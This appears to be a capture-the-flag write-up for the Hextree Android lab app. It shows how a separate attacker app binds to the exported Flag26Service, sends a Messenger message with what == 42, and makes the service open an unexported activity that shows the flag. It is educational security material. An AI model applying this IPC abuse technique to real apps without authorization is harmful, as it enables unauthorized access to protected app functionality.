Exploiting Flag26Service β Android Messenger-Based Service (Hextree CTF)
π Challenge Overview
Weβre given a bound Service called Flag26Service, which exposes a Messenger IPC interface using onBind():
1
2
3
4
@Override
public IBinder onBind(Intent intent) {
return this.messenger.getBinder();
}
The service uses a Handler to process incoming messages. When it receives a message with what == 42, it triggers this function:
1
2
3
4
5
6
7
8
private void success(String str) {
Intent intent = new Intent(this, Flag26Activity.class);
intent.putExtra("secret", secret);
intent.putExtra("what", 42);
intent.addFlags(268468224);
intent.putExtra("hideIntent", true);
startActivity(intent);
}
This launches the activity containing the flag, passing the secret and flag trigger values via the Intent.
π§ The Catch
Even if you successfully bind to the service and send Message.what == 42, Flag26Activity is not exported:
1
2
3
<activity
android:name="io.hextree.attacksurface.activities.Flag26Activity"
android:exported="false"/>
This means the activity cannot be launched from your external app unless the target app is already in the foreground or running in the background.
β Solution Steps
1. Create a separate app
This is your attack app.
2. Bind to the service
Use Context.BIND_AUTO_CREATE to connect to the exported Flag26Service.
1
2
3
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag26Service");
bindService(intent, connection, Context.BIND_AUTO_CREATE);
3. Send the trigger message
Use a Messenger to send a message with what == 42.
1
2
Message msg = Message.obtain(null, 42);
serviceMessenger.send(msg);
4. Bring the app to the foreground
Since Flag26Activity is not exported, the service wonβt launch it unless the app is running in the foreground.
β
Workaround: After pressing the attack button, manually open the target app (io.hextree.attacksurface) to bring it to the foreground. This will allow startActivity(intent) inside the service to succeed.
π Flag Retrieval
Once the activity is launched, it checks if the passed secret matches the static Flag26Service.secret, and shows the flag if so:
1
2
3
if (Flag26Service.secret.equals(stringExtra)) {
success(this);
}
β
The flag is displayed inside Flag26Activity UI or logged using the internal LogHelper class.
thanks for reading. If you enjoyed this write-up, feel free to follow me on Twitter